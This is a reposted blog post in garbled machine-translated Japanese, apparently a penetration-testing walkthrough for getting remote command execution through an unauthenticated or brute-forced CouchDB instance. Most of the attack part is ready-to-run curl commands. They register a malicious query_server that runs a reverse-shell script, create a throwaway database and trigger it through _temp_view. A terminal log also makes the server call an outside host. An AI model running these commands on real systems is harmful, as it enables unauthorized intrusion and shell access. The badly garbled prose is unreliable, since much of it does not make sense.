CouchDBのを経由してリモートコマンドの実行

2016年9月11日 侵入テストデータベース

背景

CouchDBのは、ドキュメント指向、RESTfulなのJavaScript Object Notation(JSON)形式APIを介してアクセス可能なオープンソースのデータベース管理システムです。CouchDBのは、LinuxおよびMac OS Xを含むほとんどのPOSIXシステムにインストールすることができます

脆弱性はじめに

彼らは、データベースの管理のために、6984にSSLリスニングポートを使用する場合は、デフォルトのCouchDBはRESTfulなAPIインタフェースポート5984を開き、します。そのHTTP Serverは、ときノー検証デフォルトで有効になっており、0.0.0.0に結合、すべてのユーザーが不正アクセスを引き起こすことによってAPIにアクセスすることができます。

情報のCouchDBのバナーを見つけることができnmapのスキャンを使用します デフォルトのポートのCouchDB

コマンドを使用すると、管理者パスワードを取得する方法を見つける必要があるアカウントの認証は、当然のことながら、burpsuit / _utils /経由ブラスト行きた場合、不正なデータベースが直接、利用することができますがあれば、また/補助/スキャナMetasploitのことができ、管理者権限を必要とする実行CouchDBの/ CouchDBの/ CouchDBの/ Couchdb_loginが直接ブラストCouchDBのモジュールは、ブラウザの「http://127.0.0.1:5984/_utils/」で実行するビジュアル・インターフェース・ツールを提供し、あなたは、以下に示すインタフェースを見ることができます。 アカウント証明

開発します

たとえば場合は、ここにあります認証アカウント、我々は管理者でログオンしてクッキーを取得し、その後、APIと対話するためにcurlコマンドを使用して、データベース操作を実装を使用する必要があります クッキーの取得

リモートコマンドの実行例

  1. 新しいquery_server構成は、書き込みコマンドを実行します。
  2. 一時データベースと一時テーブルを作成し、レコードが挿入されています。
  3. Query_serverの呼処理データ
curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' -d '"python /tmp/back.py"'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

curl -X PUT 'http://192.168.199.181:5984/teeest'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X PUT 'http://192.168.199.181:5984/teeest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"```

curl -X POST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'  -H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

リモートダウンロードリバウンドスクリプトがコマンドを書きます成功したダウンロード要求に耳を傾けモニタのダウンロードする実行権限を追加するため実行権限を追加します。のスクリプトが実行リバウンド実行リバウンドgetshell、フラグを読みます成功

同様に、あなたはこのように、また可能である結果の実装は同じである、この方法は、それをより便利点であってもよいカールリクエストで直接アカウントのパスワードに、クッキーを取得するためにログインすることはできません

root@Urahara:~# curl -X PUT 'admin:[email protected]:5984/_config/query_servers/cmd' -d '"curl http://192.168.199.140/flag"'
"curl http://192.168.199.140/flag"
root@Urahara:~# curl -X PUT 'admin:[email protected]:5984/wa'
{"ok":true}
root@Urahara:~# curl -X PUT 'admin:[email protected]:5984/wa/haha' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'{"ok":true,"id":"haha","rev":"1-967a00dff5e02add41819138abb3284d"}
root@Urahara:~# curl -X POST 'admin:[email protected]:5984/wa/_temp_view?limit=14' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

参照

CouchDBの不正アクセスの脆弱性は、任意のシステムコマンドを実行します

CouchDBの不正アクセスの脆弱性は、システムがコマンドを実行させます

オリジナル:ビッグボックス  リモートのCouchDBを経由してコマンド実行


おすすめ

転載: www.cnblogs.com/petewell/p/11615180.html